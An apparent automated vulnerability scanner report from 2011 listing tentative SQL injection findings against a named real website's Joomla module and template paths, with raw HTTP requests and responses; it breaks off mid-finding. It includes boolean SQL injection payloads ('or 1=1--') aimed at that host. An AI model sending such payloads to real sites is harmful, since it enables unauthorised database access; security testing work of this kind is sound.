<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /modules17976969' or 1=2-- /mod_fpss/includes/engines/jquery-fpss-comp.js was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 20625992'%20or%201%3d1--%20 and 20625992'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /modules/mod_fpss20625992'%20or%201%3d1--%20/includes/engines/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /modules/mod_fpss20625992' or 1=1-- /includes/engines/jquery-fpss-comp.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /modules/mod_fpss20625992'%20or%201%3d2--%20/includes/engines/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:04:21 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 586
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /modules/mod_fpss20625992' or 1=2-- /includes/engines/jquery-fpss-comp.js was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 13584805'%20or%201%3d1--%20 and 13584805'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /modules/mod_fpss/includes13584805'%20or%201%3d1--%20/engines/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /modules/mod_fpss/includes13584805' or 1=1-- /engines/jquery-fpss-comp.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /modules/mod_fpss/includes13584805'%20or%201%3d2--%20/engines/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:06:09 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 586
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /modules/mod_fpss/includes13584805' or 1=2-- /engines/jquery-fpss-comp.js was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads 88843927'%20or%201%3d1--%20 and 88843927'%20or%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /modules/mod_fpss/includes/engines88843927'%20or%201%3d1--%20/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /modules/mod_fpss/includes/engines88843927' or 1=1-- /jquery-fpss-comp.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /modules/mod_fpss/includes/engines88843927'%20or%201%3d2--%20/jquery-fpss-comp.js HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:08:06 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 586
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /modules/mod_fpss/includes/engines88843927' or 1=2-- /jquery-fpss-comp.js was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 5 appears to be vulnerable to SQL injection attacks. The payloads 79937187'%20or%201%3d1--%20 and 79937187'%20or%201%3d2--%20 were each submitted in the REST URL parameter 5. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /modules/mod_fpss/includes/engines/jquery-fpss-comp.js79937187'%20or%201%3d1--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /modules/mod_fpss/includes/engines/jquery-fpss-comp.js79937187' or 1=1-- on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /modules/mod_fpss/includes/engines/jquery-fpss-comp.js79937187'%20or%201%3d2--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:08:49 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 586
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /modules/mod_fpss/includes/engines/jquery-fpss-comp.js79937187' or 1=2-- was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
1.19. http://kontentdesign.com/modules/mod_fpss/includes/engines/jquery-fpss-comp.js [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 11806235%20or%201%3d1--%20 and 11806235%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /modules/mod_fpss/includes/engines/jquery-fpss-comp.js?111806235%20or%201%3d1--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /modules/mod_fpss/includes/engines/jquery-fpss-comp.js on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /modules/mod_fpss/includes/engines/jquery-fpss-comp.js?111806235%20or%201%3d2--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
/** * @version 2.8 * @package Frontpage Slideshow * @author JoomlaWorks - http://www.joomlaworks.gr * @copyright Copyright (c) 2006 - 2011 JoomlaWorks, a business unit of Nuevvo Webware Ltd. All rights reserved. * @license Commercial - This code cannot be redistributed without permission from Nuevvo Webware Ltd. */
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 10350403'%20or%201%3d1--%20 and 10350403'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates10350403'%20or%201%3d1--%20/kontent11/css/layout.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates10350403' or 1=1-- /kontent11/css/layout.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates10350403'%20or%201%3d2--%20/kontent11/css/layout.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:02:24 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 567
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates10350403' or 1=2-- /kontent11/css/layout.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 13160980'%20or%201%3d1--%20 and 13160980'%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent1113160980'%20or%201%3d1--%20/css/layout.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent1113160980' or 1=1-- /css/layout.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent1113160980'%20or%201%3d2--%20/css/layout.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:04:12 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 567
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent1113160980' or 1=2-- /css/layout.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 29878068'%20or%201%3d1--%20 and 29878068'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css29878068'%20or%201%3d1--%20/layout.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css29878068' or 1=1-- /layout.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css29878068'%20or%201%3d2--%20/layout.css HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:06:09 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 567
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent11/css29878068' or 1=2-- /layout.css was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads 20769589'%20or%201%3d1--%20 and 20769589'%20or%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css/layout.css20769589'%20or%201%3d1--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css/layout.css20769589' or 1=1-- on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css/layout.css20769589'%20or%201%3d2--%20 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 04:08:06 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Vary: Accept-Encoding Content-Type: text/html; charset=iso-8859-1 Content-Length: 567
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent11/css/layout.css20769589' or 1=2-- was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
1.24. http://kontentdesign.com/templates/kontent11/css/layout.css [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://kontentdesign.com
Path:
/templates/kontent11/css/layout.css
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 87086877%20or%201%3d1--%20 and 87086877%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
